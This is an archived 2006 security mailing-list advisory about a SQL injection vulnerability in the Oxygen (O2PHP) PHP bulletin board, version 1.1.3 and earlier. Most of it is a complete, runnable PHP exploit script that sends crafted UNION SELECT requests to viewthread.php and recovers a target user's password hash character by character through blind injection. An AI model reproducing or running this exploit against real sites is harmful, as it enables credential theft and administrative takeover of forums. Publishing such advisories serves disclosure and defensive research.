[EXPL] Oxygen SQL Injection (Exploit, O2PHP)
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 19 Nov 2006 15:12:15 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Oxygen SQL Injection (Exploit, O2PHP)
------------------------------------------------------------------------
SUMMARY
<http://www.o2php.com/> Oxygen is "a PHP based bulletin board system". An
SQL injection vulnerability in the Oxygen product allows remote attackers
to include arbitrary SQL and utilize it to gain administrative access to
the system.
DETAILS
Vulnerable Systems:
* Oxygen version 1.1.3 and prior
Exploit:
#!/usr/bin/php
<?
if($argc<4){
print("
-------------------------------------------------------
Affected.scr..: Oxygen <= 1.1.3 (O2PHP Bulletin Board)
Poc.ID........: 14061118
Type..........: SQL Injection
Risk.level....: Medium
Conditions....: register_globals = on
Src.download..: download.o2php.com
Poc.link......: acid-root.new.fr/poc/14061118.txt
Credits.......: DarkFig
Note..........: FOR EDUCATIONAL PURPOSE ONLY
-------------------------------------------------------
Usage.........: php 14061118.txt <host> <path> <userid>
-------------------------------------------------------\n");
exit(1);
}
print "\n Please be patient (max=736 hits)...\n MD5: ";
$host = !preg_match("/^http:\/\/(\S*)/",$argv[1],$hwttp) ? $argv[1] :
$hwttp[1];
$path = $argv[2];
$usid = intval($argv[3]);
$tabl = "o2_members";
for($x=1; $x<=32; $x++) {
for($y=48; $y<=71; $y++) {
$recv = '';
$sqli =
"%20UNION%20SELECT%201,1%20FROM%20".$tabl."%20WHERE%20uid=".$usid."%20AND%20substr(password,".$x.",1)=char(".$y.")%23";
$data = "GET ".$path."viewthread.php?tid=1&pid=-1".$sqli." HTTP/1.1
\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n\r\n";
if(!$sock = @fsockopen($host, 80)) die("Connection problem\n");
fputs($sock, $data);
while(!feof($sock)) $recv .= fgets($sock);
fclose($sock);
if(preg_match("/Location: viewthread.php/", $recv)) {
print strtolower(chr($y));
break;
} elseif($y == 71) {
print "Not vulnerable\n";
exit(1);
}}}
print "\n";
exit(0);
?>
# milw0rm.com [2006-11-18]
ADDITIONAL INFORMATION
The information has been provided by DarkFig.
The original article can be found at:
<http://www.milw0rm.com/exploits/2810>
http://www.milw0rm.com/exploits/2810
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: Re: [Full-disclosure] FreeBSD all versions FireWire IOCTL kernel integer overflow information disclousure
- Next by Date: [UNIX] GPhotos Multiple Vulnerabilities
- Previous by thread: [UNIX] FreeBSD/NetBSD/DragonFlyBSD/TrustedBSD FireWire IOCTL Kernel Integer Overflow Information Disclousure
- Next by thread: [UNIX] GPhotos Multiple Vulnerabilities
- Index(es):
Relevant Pages
|
